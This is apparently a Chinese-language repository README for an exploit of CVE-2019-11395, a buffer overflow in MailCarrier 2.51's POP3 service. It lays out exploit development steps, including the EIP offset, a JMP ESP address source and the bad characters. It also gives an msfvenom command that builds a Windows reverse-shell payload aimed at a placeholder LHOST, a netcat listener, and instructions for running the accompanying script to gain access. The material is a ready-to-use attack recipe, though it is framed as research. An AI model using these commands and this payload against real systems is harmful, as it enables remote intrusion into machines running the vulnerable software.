CVE-2019-11395 漏洞利用 🛡️

关于 CVE-2019-11395 🕵️

CVE-2019-11395 漏洞描述了 MailCarrier 2.51 电子邮件应用程序中的缓冲区溢出漏洞，可导致远程代码执行。该漏洞出现在 SMTP RCPT TO、POP3 USER、POP3 LIST、POP3 TOP 或 POP3 RETR 进程中。

在学术研究过程中，重点关注了 POP3 进程以创建概念验证（PoC）。研究发现，向应用程序发送 6000 字节可导致其停止运行，从而揭示缓冲区溢出漏洞。

利用步骤 🔍

1. 使用 msf-pattern_create -l 6000 精确定位 EIP。
2. 通过 msf-pattern_offset -q 6E47386E -l 6000 确定 EIP 偏移量为 5095。
3. 发现 expsrv.dll 禁用了 ASLR，适合用作 JMP ESP。
4. 在无效字符测试中识别出坏字符 \x00\x0a\x0d。
5. 使用 msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 exitfunc=thread -f python -b "\x00\x0a\x0d" -v shellcode 生成载荷。
6. 调整 CVE-2019-11395.py 代码以容纳载荷。
7. 使用 nc -lnvp 4444 打开连接，运行漏洞利用程序 (CVE-2019-11395.py) 以获取环境访问权限并验证所述 CVE。

使用方法 🚀

按照以下步骤使用漏洞利用程序：

1. 使用 msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 exitfunc=thread -f python -b "\x00\x0a\x0d" -v shellcode 生成载荷。
2. 复制 msfvenom 命令的输出。
3. 调整 CVE-2019-11395.py 代码，将 shellcode 变量替换为从 msfvenom 命令获得的输出。
4. 运行漏洞利用程序 (CVE-2019-11395.py) 以获取环境访问权限并验证所述 CVE。

攻陷环境截图 📸

🔗 与我联系

访问我的 LinkedIn 个人资料